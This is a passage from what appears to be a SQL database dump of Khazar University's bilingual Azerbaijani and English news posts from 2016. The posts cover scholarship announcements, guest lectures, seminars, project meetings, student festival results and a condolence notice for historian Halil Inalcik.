ərizələrin təqdim edilməsi\r\nqaydalarıla bağlı ətraflı məlumatı Azərbaycan Respublikası Təhsil Nazirliyinin\r\nsaytından əldə etmək olar: <a href=\"http://www.edu.gov.az\">www.edu.gov.az</a>. &nbsp;</p>'),(2086,1263,'en','Prof. Halil Inalcik, the great historian of Ottoman Empire, founding member of Eurasian Academy has passed away ','Prof. Halil Inalcik, the great historian of Ottoman Empire, founding member of Eurasian Academy and professor of Bilkent University died...','<p>Prof. Halil Inalcik, the great historian of Ottoman Empire, founding \r\nmember of Eurasian Academy and professor of Bilkent University died on \r\nJuly 25, 2016 in Ankara. On the same day Prof. Hamlet Isakhanli, the \r\nfounding member of Eurasian Academy, founder of Khazar University and \r\nChairman of Board of Directors and Trustees sent an official letter of \r\ncondolence to Ankara.  </p><p>Letter says: “The great Ottoman historian,\r\n founding member of Eurasian Academy and the great personality Professor\r\n Halil İnalcık passed away. H. Inalchik will remain in our hearts \r\nforever with his valuable works. May his soul rest in peace”.  </p><p>A funeral ceremony was held at the Bilkent University in Ankara on July 27, 2016. </p><p>Along\r\n with relatives of H. Inalcik  Ismayil Kahraman, the speaker of Grand \r\nNational Assembly, party chairmen of Turkish Parliament, state \r\nofficials, public representatives, Huseyn Ayhan and Murat Yashar Ekinci,\r\n Khazar University representatives in Turkey attended the funeral \r\nceremony. They presented prof. Hamlet Isakhanli’s official letter of \r\ncondolence to the funeral commission and laid a wreath on the coffin of \r\nHalil Inalcik.  </p><p>Halil Inalcik was buried in the Karacaahmet Cemetery on July 28, 2016.  </p>'),(1455,913,'en','Education Opportunities in Hungary','According to a program signed November 11, 2014 entitled “Working Plan for 2015-2017 between the Ministry of Education of the Azerbaijan Republic...','<p>According to a\r\nprogram signed November 11, 2014 entitled “Working Plan for 2015-2017 between\r\nthe Ministry of Education of the Azerbaijan Republic and Hungarian Human\r\nResources Ministry,” written requests are being accepted for Azerbaijani\r\ngovernment scholarships to study in reputable universities of Hungary. </p>\r\n<p>For more detailed\r\ninformation, please see the Ministry of Education of the Azerbaijan Republic\r\nwebsite:&nbsp;&nbsp; <a href=\"http://www.edu.gov.az\">www.edu.gov.az</a>. &nbsp;</p>'),(1456,914,'en','65th Assembly of Science and Art to be held','On January 30, 2016, the 65th meeting of Khazar University’s Assembly of Science and Art will be held at the university’s downtown campus (122 Bashir Safaroghlu St) on the topic of “The Architecture and Functions of the Human Brain.” The lecture will be given by Professor Mahmut Gazi Yasargil, founding member of Eurasian Academy and professor of Yeditepe University in Turkey.','<p>On January 30, 2016, the 65th meeting of Khazar\r\nUniversity’s Assembly of Science and Art will be held at the university’s\r\ndowntown campus (122 Bashir Safaroghlu St) on the topic of “The Architecture\r\nand Functions of the Human Brain.” The lecture will be given by Professor\r\nMahmut Gazi Yasargil, founding member of Eurasian Academy and professor of Yeditepe\r\nUniversity in Turkey. </p>\r\n<p>Everyone is welcome to attend.&nbsp;</p>'),(1457,914,'az','“Elm və Sənət Məclisi”nin növbəti –  65-ci məşğələsi keçiriləcək','2016-ci il yanvarın  30-da saat 12.00-da Xəzər Universitetinin Mərkəz kampusunda (Bəşir Səfəroğlu küçəsi, 122)  “Elm və sənət məclisi”nin “Mərkəzi sinir sisteminin quruluşu” mövzusunda növbəti – 65-ci  məşğələsi keçiriləcək. Məruzəçi Türkiyənin Yeditepe Universitetinin professoru, Avrasiya Akademiyasının qurucu üzvü Mahmut Qazi Yaşargildir.','<p>2016-ci il yanvarın&nbsp; 30-da saat 12.00-da Xəzər\r\nUniversitetinin Mərkəz kampusunda (Bəşir Səfəroğlu küçəsi, 122)&nbsp; “Elm və sənət\r\nməclisi”nin “Mərkəzi sinir sisteminin quruluşu” mövzusunda növbəti –\r\n65-ci&nbsp; məşğələsi keçiriləcək. Məruzəçi Türkiyənin Yeditepe Universitetinin\r\nprofessoru, Avrasiya Akademiyasının qurucu üzvü Mahmut Qazi Yaşargildir.</p>\r\n<p>Maraqlananlar dəvət olunurlar.</p>'),(1458,915,'az','Xəzər Universiteti beynəlxalq tələblər üçün qəbul və təqaüd proqramı ELAN edir. Müraciət üçün son tarix: 15 aprel, 2016-cı il.','Xəzər Universiteti beynəlxalq tələblər üçün qəbul və təqaüd proqramıELAN edir.\r\n\r\nMüraciət üçün son tarix: 15 aprel, 2016-cı il.','<p>Xəzər Universiteti <strong>beynəlxalq\r\ntələblər üçün qəbul v</strong><strong>ə təqaüd proqramı</strong><strong>ELAN </strong>edir.</p>\r\n<p><strong>Müraciət üçün son tarix: 15 aprel, 2016-c</strong><strong>ı il.</strong></p>\r\n<p>&nbsp;</p>\r\n<p>Tədris proqramları dörd fakültədə bakalavr,\r\nmagistratura və doktorantura səviyyələrində təklif olunur. </p>\r\n<p>Təqaüd proqramı dünyanın bütün ölkələrindən olan tələbələrə\r\naçıqdır və hər ölkəyə təhsil haqqını tam ödəyən iki təqaüd imkanı verir. </p>\r\n<p>&nbsp;</p>\r\n<p>2016-cı ilaprelin\r\n15-i müraciət üçün <strong>son tarix</strong>dir<strong>.</strong></p>\r\n<p>Beynəlxalq qəbul və təqaüd proqramı haqqında bu\r\nlinkdən daha ətraflı məlumatı almaq olar: <a href=\"http://www.khazar.org/s7938/How-to-Apply-new/en\">http://www.khazar.org/s7938/How-to-Apply-new/en</a></p>\r\n<p>&nbsp;</p>\r\n<p>Əsası 1991-ci ildə qoyulan Xəzər Universiteti Azərbaycanda\r\nincəsənət, humanitar və sosial elmlər, mühəndislik və tətbiqi elmlər,\r\niqtisadiyyat, menecment və biznesin idarə edilməsi və təhsil kimi sahələrdə\r\nixtisaslar təklif edən ayrı-ayrı müstəqil fakültələrdən ibarət ilk özəl\r\nuniversitetdir. </p>\r\n<p>Xəzər Universitetinin əsas məqsədi hər fakültədə\r\nuniversitetin təklif etdiyi bütün ixtisaslar üzrə hər bir tələbəyə yüksək\r\nkeyfiyyətli təhsil verməkdir.</p>\r\n<p><strong>&nbsp;</strong></p>'),(1459,915,'en','Khazar University International Admission and Scholarship Program: APPLY NOW! DEADLINE: April 15, 2016','Study programs are offered in all four schools of the university at both undergraduate (bachelor) and graduate (master and PhD) levels. The scholarship program targets nationals of all countries around the world and offers two merit-based full-tuition fee covered scholarships for each country.','<p>Study programs are offered in all four schools of the\r\nuniversity at both undergraduate (bachelor) and graduate (master and PhD)\r\nlevels. The scholarship program targets nationals of all countries around the\r\nworld and offers two merit-based full-tuition fee covered scholarships for each\r\ncountry. </p>\r\n<p>&nbsp;</p>\r\n<p>Deadline: APRIL 15, 2016. </p>\r\n<p>&nbsp;</p>\r\n<p>For more information about international admission and\r\nthe scholarship program, please visit: <a href=\"http://www.khazar.org/s7938/How-to-Apply-new/en\">http://www.khazar.org/s7938/How-to-Apply-new/en</a></p>\r\n<p>&nbsp;</p>\r\n<p>Established in\r\n1991, Khazar is the first private university in Azerbaijan. It is composed of\r\nmultiple independent schools, which offer a wide scope of diverse majors in\r\nArts, Humanities and Social Sciences, Engineering and Applied Sciences,\r\nEconomics, Management and Business Administration, and Education. The main aim\r\nof Khazar University is to provide high quality education for each student in\r\nall fields and all levels of study offered by the university. </p>\r\n<p>&nbsp;</p>'),(1460,916,'en','Turkish Professor to Give Lecture at Khazar','On February 29, 2016 at 15:00 in the Library Training Room, Omer Sadullah, Turkish professor and expert in human resources, will give a guest lecture on “Some Thoughts on Business Education.”','<p>On February 29, 2016 at 15:00 in the\r\nLibrary Training Room, Omer Sadullah, Turkish professor and expert in human resources,\r\nwill give a guest lecture on “Some Thoughts on Business Education.” The lecture\r\nis coordinated by the Khazar University School of Economics and Management. </p>\r\n<p>&nbsp;</p>'),(1461,916,'az','Türkiyəli professor “Xəzər”də mühazirə oxuyacaq','Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin təşkilatçılığı ilə fevralın 29-da saat 15.00-da universitet kitabxanasının treninq zalında türkiyəli professor, ','<p>Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin təşkilatçılığı\r\nilə fevralın 29-da saat 15.00-da universitet kitabxanasının treninq zalında\r\ntürkiyəli professor, insan resurslarının idarə olunması üzrə təcrübəli mütəxəssis\r\nÖmər Sadullah &nbsp;“İşlətmə təhsili üzrə bəzi düşüncələr” (Some Thougts on\r\nBusiness Education) mövzusunda mühazirə oxuyacaq.&nbsp;</p>'),(1462,917,'en','“Interacting with Difficult People” Seminar','On March 9, 2016 at 16:00 in Room 406N, the Khazar University Psychology Services Center will hold a seminar on interacting with difficult people.','<p>On March 9, 2016\r\nat 16:00 in Room 406N, the Khazar University Psychology Services Center will\r\nhold a seminar on interacting with difficult people. </p>\r\n<p>The seminar will\r\ncover topics such as relational disorders, personality types, temperament,\r\nself-esteem, identity, and effective methods of communication. </p>\r\n<p>The training will\r\nbe led by Khazar University Psychology Department instructors Melek Kerimova\r\nand Narmin Osmanli. The training is free of charge. </p>\r\n<p>&nbsp;</p>'),(1463,917,'az','“Çətin insanlarla asan münasibət” adlı seminar keçiriləcək','2016-cı il martın 9-u saat 16.00-da (otaq 406 N) Xəzər Psixoloji Xidmət Mərkəzi “Çətin insanlarla asan münasibət” adlı seminar keçirəcək.','<p>&nbsp;2016-cı il martın 9-u saat 16.00-da (otaq 406 N) Xəzər\r\nPsixoloji Xidmət Mərkəzi “Çətin insanlarla asan münasibət” adlı seminar keçirəcək.</p>\r\n<p>Seminarda şəxsiyyət pozuntuları, şəxsiyyət tipləri,\r\ntemperament, mənlik, kimlik, təsirli ünsiyyət yolları ilə əlaqədar mövzulara\r\ntoxunulacaq. </p>\r\n<p>Təlim Xəzər Psixologiya departamentinin müəllimləri\r\nMələk Kərimova və Nərmin Osmanlı tərəfindən keçiriləcəkdir.</p>\r\n<p>Təlim ödənişsizdir.</p>'),(1464,918,'az','Koreya Milli İnstitutu təqaüd proqramı elan edir','Beynəlxalq Təhsil və İnkişaf üzrə Koreya Milli İnstitutu 2016-2019-cu tədris illəri üzrə 7 nəfər Azərbaycan Respublikası vətəndaşının iştirakını nəzərdə tutan təqaüd proqramını elan edir. Təqaüd proqramı Koreyanın nüfuzlu universitetlərində magistratura və doktorantura səviyyələrində təhsil almasını nəzərdə tutur.','<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:22.5pt;background:white\"\"=\"\">Beynəlxalq Təhsil və\r\nİnkişaf üzrə Koreya Milli İnstitutu 2016-2019-cu tədris illəri üzrə 7 nəfər Azərbaycan\r\nRespublikası vətəndaşının iştirakını nəzərdə tutan təqaüd proqramını elan edir.\r\nTəqaüd proqramı Koreyanın nüfuzlu universitetlərində magistratura və\r\ndoktorantura səviyyələrində təhsil almasını nəzərdə tutur.<u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:22.5pt;background:white\"\"=\"\">Göstərilən təqaüdlər və ərizələrin təqdim edilməsi\r\nqaydaları ilə bağlı ətraflı məlumatı Azərbaycan Respublikası Təhsil\r\nNazirliyinin saytında&nbsp; (<a href=\"http://www.edu.gov.az/\">www.edu.gov.az</a>) əldə etmək olar.<u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:22.5pt;background:white\"\"=\"\"><u1:p>&nbsp;</u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:22.5pt;background:white\"\"=\"\">Korean National\r\nInstitute Announces Scholarship Program<u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:22.5pt;background:white\"\"=\"\"><u1:p>&nbsp;</u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:22.5pt;background:white\"\"=\"\">The Korean\r\nNational Institute for International Education and Development has announced a\r\nscholarship program to be awarded to 7 Azerbaijani citizens for the 2016-2019\r\nacademic years. The scholarship program will allow the recipients to study on\r\nmasters and PhD levels in Korea’s well-known universities. <u1:p></u1:p></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:22.5pt;background:white\"\"=\"\">For more\r\ninformation about applications, see the Azerbaijan Republic Ministry of Education\r\nwebsite (<a href=\"http://www.edu.gov.az/\">www.edu.gov.az</a>).&nbsp;<u1:p></u1:p></p>\r\n<u1:p></u1:p>'),(1465,919,'az','Xəzər Universitetində təlim-seminar keçiriləcək','2016-ci il martın 16-da 10:00-da Xəzər Universitetində (otaq 102N) təlim-seminar keçiriləcək. ','<p>2016-ci il martın\r\n16-da<strong> </strong>10:00-da<strong> </strong>Xəzər Universitetində (otaq 102N)&nbsp;təlim-seminar\r\nkeçiriləcək. Təlim-seminarın “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil\r\nmüəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus\r\nlayihəsi çərçivəsində Xəzər Universitetində dərs deyən müəllim heyəti üçün\r\nkeçirilməsi nəzərdə tutulmuşdur. Təlim-seminarın əsas məqsədi əlilliyi olan tələbələrə\r\ndərs deyən müəllimləri əlillik, onun xüsusiyyətləri, onlara yanaşma tərzi və tədris\r\nmetodikası haqqında maarifləndirməkdir. Təlimi Humanitar və Sosial elmlər fakülətisinin\r\ndekan müavini Mələk\r\nKərimova aparacaq.</p>\r\n<p>Tədbir zamanı\r\nlayihə və yeni yaradılmış “Əlilliyi olan Tələbələr üçün Mərkəz” haqqında məlumat\r\nveriləcəkdir. </p>\r\n<p>Təlim-seminarda iştirak etmək istəyən\r\nbütün müəllim heyəti dəvətlidir.</p>'),(1466,919,'en','Training Seminar to be held at Khazar','On March 16, 2016 at 10:00 AM in room 102N, a training seminar for Khazar University instructors will be held within the framework of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project. ','<p>On March 16, 2016 at 10:00 AM in room\r\n102N, a training seminar for Khazar University instructors will be held within\r\nthe framework of the “Establishment of a Foundation for the Integration of\r\nDisabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project. The main\r\nobjective of the seminar is to raise instructors’ awareness about disabilities,\r\ntheir characterizations, approaches to them, and related educational methods.\r\nThe training will be led by Melek Karimova, Assistant Dean of the School of\r\nHumanities and Social Sciences. </p>\r\n<p>During the training, information will also\r\nbe given about the newly-created Center for Students with Disabilities. </p>\r\n<p>All instructors are invited to participate\r\nin this training. </p>\r\n<p>&nbsp;</p>'),(1467,920,'az','“Azərbaycan multikulturalizminin ədəbi-bədii qaynaqları” kitabının təqdimatı olacaq','2016-cı il aprelin 5-i saat 10:30-da Xəzər Universitetinin və Azərbaycan Respublikasının Prezidenti yanında Bilik Fondunun təşkilatçılığı ilə Xəzər Universitetində (otaq 102N) akademik Kamal Abdullayevin elmi redaktorluğu ilə nəşr olunmuş “Azərbaycan multikulturalizminin ədəbi-bədii qaynaqları” kitabının təqdimatı keçiriləcək. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il aprelin 5-i saat 10:30-da Xəzər\r\nUniversitetinin və Azərbaycan Respublikasının Prezidenti yanında Bilik Fondunun\r\ntəşkilatçılığı ilə Xəzər Universitetində (otaq 102N) akademik Kamal\r\nAbdullayevin elmi redaktorluğu ilə nəşr olunmuş “Azərbaycan\r\nmultikulturalizminin ədəbi-bədii qaynaqları” kitabının təqdimatı keçiriləcək. Tədbir\r\nAzərbaycan Respublikası Prezidentinin 2016-cı ilin Azərbaycanda\r\n“Multikulturalizm ili” elan olunması ilə bağlı imzaladığı sərəncama əsasən təsdiq\r\nolunmuş tədbirlər planına uyğun olaraq həyata keçiriləcək. Təqdimatı kitabın tərtibçisi\r\nAMEA-nın Dilçilik İnstitutunun direktoru, akademiyanın muxbir üzvü Möhsün\r\nNağısoylu aparacaq. Tədbirdə Bilik Fondunun icraçı direktoru Oktay Səmədov da\r\niştirak edəcək və fond haqqında danışacaq.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İştirak etmək istəyən hər kəs dəvətlidir. İştirak\r\netmək istəyənlərin əvvəlcədən e-mail (<a href=\"mailto:politics@khazar.org\">politics@khazar.org</a>)&nbsp;vasitəsilə\r\nməlumat verməsi arzuolunandır.</p>\r\n<p>&nbsp;</p>'),(1468,921,'en','NIZAMI Project Meeting ','On April 4-8, 2016, the next routine management meeting of the NIZAMI ERASMUS + Capacity Building Project will take place in Azerbaijan at the Ministry of Education, Khazar University and Baku State University. The project is called “Restructuring and Development of Doctoral Studies in Azerbaijan in line with Requirements of Higher Education Area.” ','<p>On April 4-8, 2016, the next routine management\r\nmeeting of the NIZAMI ERASMUS + Capacity Building Project will take place in\r\nAzerbaijan at the Ministry of Education, Khazar University and Baku State\r\nUniversity. The project is called “Restructuring and Development of Doctoral\r\nStudies in Azerbaijan in line with Requirements of Higher Education Area.” The\r\nproject team consists of 15 Higher Education Institutions along with the\r\nMinistry of Education (MoE) and the Academy of Sciences of the Azerbaijani\r\nRepublic. Among the 15 HEIs there are 5 European, 1 Turkish and 9 Azerbaijani\r\nuniversities. </p>\r\n<p>This meeting is devoted to discussions of Doctoral\r\nStudies in Azerbaijan and Europe, their comparison and critical analysis as\r\nwell as recommendations for the improvement of Doctoral Education in\r\nAzerbaijan. The meeting will be hosted by the MoE on the first day, by Khazar\r\nUniversity on the next two days, and by Baku State University on the last\r\nday. &nbsp; &nbsp;</p>'),(1469,922,'az','Elan','2016-cı il aprelin 9-u saat 10.00-da Xəzər Universitetində “Avropa Birliyi araşdırmaları üzrə kurrikulumların işlənib hazırlanması və qabiliyyətlərin inkişaf etdirilməsi” adlı Tempus layihəsinin icrasının nəticələrinə həsr olunmuş yekun konfrans keçiriləcəkdir.','<p>2016-cı il aprelin 9-u saat 10.00-da Xəzər Universitetində “Avropa\r\nBirliyi araşdırmaları üzrə kurrikulumların işlənib hazırlanması və qabiliyyətlərin\r\ninkişaf etdirilməsi” adlı Tempus layihəsinin icrasının nəticələrinə həsr\r\nolunmuş yekun konfrans keçiriləcəkdir. </p>\r\n<p>Konfransda Avropadan&nbsp; və Azərbaycandan olan tərəfdaş\r\nuniversitetlərin nümayəndələri iştirak edəcəklər.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>'),(1470,922,'en','Announcement','The final conference to share the results of implementation of the “Curriculum Development and Capacity Building in the Field of EU Studies” Tempus project will be held at Khazar University on April 9, 2016.','<p>The\r\nfinal conference to share the results of implementation of the “Curriculum\r\nDevelopment and Capacity Building in the Field of EU Studies” Tempus project\r\nwill be held at Khazar University on April 9, 2016. Representatives of European\r\nand Azerbaijani partner universities will participate. The conference starts at\r\n10.00 a.m.&nbsp;</p>'),(1471,923,'az','Departament müdirimiz Vatikanda keçirilən beynəlxalq konfransda çıxış etmişdir','Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, siyasi elmlər üzrə fəlsəfə doktoru Muxtar Hacızadə aprelin 11-12-də Vatikanda “Ortaq Evimiz üçün qayğı: ABŞ və Vatikanın qlobal məsələlərdə iştirakı” mövzusunda keçirilmiş beynəlxalq konfransda iştirak etmişdir. Konfransda Vatikanda akkreditə olunmuş səfirlər, diplomatik korpus nümayəndələri, müxtəlif dini qrupların liderləri və beynəlxalq xəbər agentliklərinin təmsilçiləri iştirak etmişlər. ','<p>Xəzər\r\nUniversitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, siyasi\r\nelmlər üzrə fəlsəfə doktoru Muxtar Hacızadə aprelin 11-12-də Vatikanda “Ortaq Evimiz üçün qayğı: ABŞ və\r\nVatikanın qlobal məsələlərdə iştirakı” mövzusunda keçirilmiş beynəlxalq konfransda iştirak etmişdir.\r\nKonfransda&nbsp;Vatikanda akkreditə\r\nolunmuş səfirlər, diplomatik korpus nümayəndələri, müxtəlif&nbsp;dini qrupların\r\nliderləri və&nbsp;beynəlxalq xəbər agentliklərinin təmsilçiləri iştirak etmişlər.&nbsp;</p>\r\n<p>Konfrans\r\n2015-ci il mayın 24-də Papa Fransis tərəfindən\r\ndünyadakı Roma Katolik Kilsəsinin bütün yepiskoplarına göndərilmiş “Ortaq\r\nEvimiz üçün qayğı” haqqında ensiklika məktubundakı bəzi məsələlərdən&nbsp;irəli\r\ngələn çağırışları müzakirə etmək məqsədilə keçirilmişdir. Məlumat üçün qeyd etmək\r\nlazımdır ki, həmin ensiklika ətraf mühitə qayğı, iqlim dəyişikliyi, bio-müxtəlifliyin\r\nitirilməsi, insanın yaşayış keyfiyyətinin aşağı düşməsi, qlobal bərabərsizlik,\r\niçməli su çatışmazlığından və digər yeni səbəblərdən yarana biləcək mümkün problem\r\nvə münaqişələrə görə Papanın&nbsp;dərin narahatlığını\r\nifadə edir. Planetimizin gələcəyinin necə formalaşdırılması üçün yeni dialoqa\r\nçağıran həmin ensiklika məktubunda Papa Fransis hazırda yaşanan problemlərdə\r\ninsan faktorunun hamını narahat etdiyini nəzərə alaraq, beynəlxalq və lokal səviyyələrdə danışıqlara olanehtiyacı\r\nvurğulayır, yeni konfliktlərin qabaqlanaraq qarşısının alınması və mümkün səbəblərinin\r\nəvvəlcədən aradan qaldırılmasının önəmini, dinlərin elmlə səbrli və açıq\r\ndialoqunu irəli sürür. </p>\r\n<p>Papanın\r\nƏdalət və Sülh Şurasının prezidenti Kardinal Peter Turksonun sədrliyi ilə\r\nVatikandakı Apostol Sarayında&nbsp;keçirilən konfransda “Azərbaycandakı dinlərarası\r\ntolerantlıq və multikulturalizm” adlı təqdimatla\r\nçıxış edən M. Hacızadə ölkəmizdə\r\ntəşəkkül tapmış dini tolerantlığın əsasları və mövcud olan multikulturalizmin\r\nönəmini regionda və dünyada baş verən gərginliklər fonunda dəyərləndirmişdir.\r\nM. Hacızadə öz çıxışında Azərbaycandakı müxtəlif dini qruplar və milli azlıqlar\r\nhaqqında danışmış, onların ölkəmizin tolerantlıq mühitinə verdikləri danılmaz&nbsp;töhfələr\r\nhaqqında konfrans iştirakçılarına məlumat vermişdir. Azərbaycanın dünyəvi dövlət\r\nolduğunu, onun konstitusiyasının və qanunlarının etno-kultural, irqi və dini mənsubiyyətə\r\ngörə qətiyyən ayrı-seçkiliyə imkan vermədiyini nümunələr göstərərək izah\r\netmişdir.&nbsp;</p>\r\n<p>Müzakirə\r\nzamanı, M. Hacızadə aprel ayının ilk günlərində Ermənistan və Azərbaycan\r\nsilahlı qüvvələrinin təmas xəttində Ermənistanın işğalçı qüvvələri\r\ntərəfindən atəşkəsin növbəti dəfə pozulması\r\nvə təxribatlar törədilməsi, hələlik\r\nnəticə verməyən sülh danışıqları, Ermənistandakı\r\ntarixi vətənlərindən zorla çıxarılaraq Azərbaycanda məskunlaşmış qaçqın və\r\nməcburi köçkünlərin vəziyyəti və&nbsp;güc\r\ntətbiqi&nbsp;dilemması barəsində də öz fikirlərini konfrans iştirakçıları ilə\r\nbölüşmüşdür. </p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(1472,924,'az','EMBER layihəsi: qonaq professor vegetarianlığa dair mühazirə oxuyacaq','2016-cı il martın 11-də Polşanın Lodz Universitetindən professor “Vegetarianlığın fəlsəfi aspektləri”adlı kursunun ilk məruzəsi ilə çıxış etdi.','<p>2016-cı il martın 11-də Polşanın Lodz\r\nUniversitetindən professor “Vegetarianlığın fəlsəfi aspektləri”adlı kursunun ilk məruzəsi ilə çıxış etdi.\r\n</p>\r\n<p>Kurs mart ayı ərzində Xəzər\r\nUniversitetinin tələbələri üçün Avropa Komissiyası tərəfindən maliyyələşdirilən\r\nEMBER (<em>Erasmus Mundus Broadening Educational Opportunities</em> – Erasmus\r\nMundus təhsil imkanlarının genişləndirilməsi) layihəsi çərçivəsində Lodz\r\nUniversitetinin professoru Dr. Yanuş Çiçura tərəfindən təqdim olunur. Geniş\r\npedaqoji təcrübəyə malik olan Dr. Çiçura fəlsəfə elmləri üzrə doktorluq dərəcəsini\r\n2005-ci ildə Lodz Universitetində almışdır. </p>\r\n<p>EMBER layihəsi Qərbi-Mərkəzi-Şərqi Avropa\r\nvə Cənubi Qafqazdan olan iyirmi tərəfdaş və dörd əlaqədar tərəfdaş ali təhsil\r\nmüəssisələrindən ibarət konsorsiumdur. Layihənin hədəf sahələri iqtisadiyyat,\r\nbiznes, dillər və sosiologiyadır.</p>'),(1473,924,'en','EMBER Project: Visiting Professor Delivers Course on Vegetarianism','On March 11, 2016, a visiting professor from the University of Łódź (Poland) delivered the first lecture for the course entitled “Vegetarianism. Philosophical Aspects.”','<p>On March 11, 2016,\r\na visiting professor from the University of Łódź (Poland) delivered the first\r\nlecture for the course entitled “Vegetarianism. Philosophical Aspects.”</p>\r\n<p>The course is\r\noffered to students of Khazar University during the month of March by Dr.\r\nJanusz Ciuciura of the University of Łódź in the framework of the EMBER\r\n(Erasmus Mundus Broadening Educational Opportunities) project funded by the\r\nEuropean Commission. Dr. Ciuciura holds a PhD in Philosophy (2005, University\r\nof Łódź) and has extensive teaching experience.</p>\r\n<p>The EMBER project\r\nis a consortium that is comprised of twenty partner higher education\r\ninstitutions and four associated partners from Western/Central/Eastern Europe\r\nand the South Caucasus. The focus areas of the project are the fields of\r\neconomics, business, languages, and sociology.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:11.65pt\"\"=\"\">&nbsp;</p>'),(1474,925,'en','Training Course for Potential School Directors Continues','Training Course for Potential School Directors Continues','We present to you pictures from today\'s training from the Course for Potential School Directors.'),(1475,925,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" davam edir.','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" təlimindən bu günə olan şəkillər.','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \"&nbsp;təlimindən bu günə olan şəkilləri sizə təqdim edirik.'),(1476,926,'az',' Xəzər Universiteti Tələbə Yaradıcılıq Festivalının qalibidir','Azərbaycan respublikasının  Gəncər və İdman Nazirliyi və Azərbaycan Tələbə Gənclər Təşkilatları İttifaqının aprelin 11-12-də S.Vurğun adına Azərbaycan Dövlət Rus Dram Teatrında\r\nkeçirdiy ənənəvi “Tələbə baharı” IX Ümumrespublika Tələbə Yaradıcılıq Festivalında Xəzər Universiteti iki nominasiyada iştirak edərək, hər ikisi üzrə qalib olmuşdur.','<p>Azərbaycan respublikasının&nbsp; Gəncər və İdman Nazirliyi və Azərbaycan Tələbə\r\nGənclər Təşkilatları İttifaqının aprelin 11-12-də S.Vurğun\r\nadına Azərbaycan Dövlət Rus Dram Teatrında<br>\r\nkeçirdiy ənənəvi “Tələbə baharı” IX Ümumrespublika\r\nTələbə Yaradıcılıq Festivalında Xəzər Universiteti iki nominasiyada iştirak edərək,\r\nhər ikisi üzrə qalib olmuşdur.</p>\r\n<p>&nbsp;Universitetin rəqs ansamblı (müəllimlər - Səbinə\r\nİsmayılova və Telman Əliyev) rəqs nominasiyası, İqtisadiyyat və menecment\r\nfakültəsinin üçüncü kurs tələbəsi Musa Abdullayev vokal nominasiyası üzrə (müəllim\r\n- Musiqi və incəsənət departamentinin müdiri, dosent Zülfiyyə Sadığova) birinci\r\nyeri tutmuşlar.</p>\r\n<p>Qalibləri təbrik edir, yeni uğurlar arzulayırıq.</p>\r\n<p>&nbsp;</p>'),(1477,927,'az','“Xəzər”in musiqi kollektivləri respublika festivalında iştirak edir ','Məlum olduğu kimi, Azərbaycan Respublikasının Təhsil Nazirliyi və Azərbaycan Təhsil İşçiləri Azad Həmkarlar İttifaqı Respublika Komitəsi mart-aprel aylarında ali məktəb tələbələri arasında Ümummilli lider Heydər Əliyevin anadan olmasının 93-cü ildönümünə həsr olunmuş bədii yaradıcılıq festivalı keçirir. Festivalın münsiflər heyətinə Azərbaycan Bəstəkarlar İttifaqının sədri,  xalq artisti Firəngiz Əlizadə başçılıq edir.','<p>Məlum olduğu kimi, Azərbaycan Respublikasının Təhsil Nazirliyi\r\nvə Azərbaycan Təhsil İşçiləri Azad Həmkarlar İttifaqı Respublika Komitəsi\r\nmart-aprel aylarında ali məktəb tələbələri arasında Ümummilli lider Heydər\r\nƏliyevin anadan olmasının 93-cü ildönümünə həsr olunmuş bədii yaradıcılıq\r\nfestivalı keçirir. Festivalın münsiflər heyətinə Azərbaycan Bəstəkarlar\r\nİttifaqının sədri,&nbsp; xalq artisti Firəngiz\r\nƏlizadə başçılıq edir.</p>\r\n<p>Aprelin 12-də Xəzər Universitetinin “Dünya” konsert\r\nsalonunda Xəzər Universiteti, Odlar Yurdu Universiteti və Azərbaycan Dövlət Dəniz\r\nAkademiyasının musiqi kollektivlərinə münsiflər heyəti tərəfindən baxış\r\nkeçirildi. Xəzər Universiteti festivalda beş nomiasiya üzrə (milli rəqs, müasir\r\nrəqs, vokal, estrada, xor) iştirak edir. </p>\r\n<p>Qaliblər mayın ilk ongünlüyündə elan olunacaq.</p>\r\n<p>&nbsp;</p>'),(1478,928,'az','Polşada mübadilə imkanları haqqında təqdimat','2016-cı il aprelin 13-də Beynəlxalq Əlaqələr Şöbəsi Xəzər Universiteti ilə tərəfdaşlıq edən Polşanın Varşava Biznes Məktəbindəki cari mübadilə proqramları haqqında təqdimat keçirdi. Təqdimat İqtisadiyyat və menecment fakültəsinin tələbələri üçün nəzərdə tutulmuşdu və iki hissədən ibarət idi: Polşadakı mübadilə proqramları və Polşa haqqında məlumat.','<p>2016-cı il aprelin 13-də\r\nBeynəlxalq Əlaqələr Şöbəsi Xəzər Universiteti ilə tərəfdaşlıq edən Polşanın\r\nVarşava Biznes Məktəbindəki cari mübadilə proqramları haqqında təqdimat\r\nkeçirdi. Təqdimat İqtisadiyyat 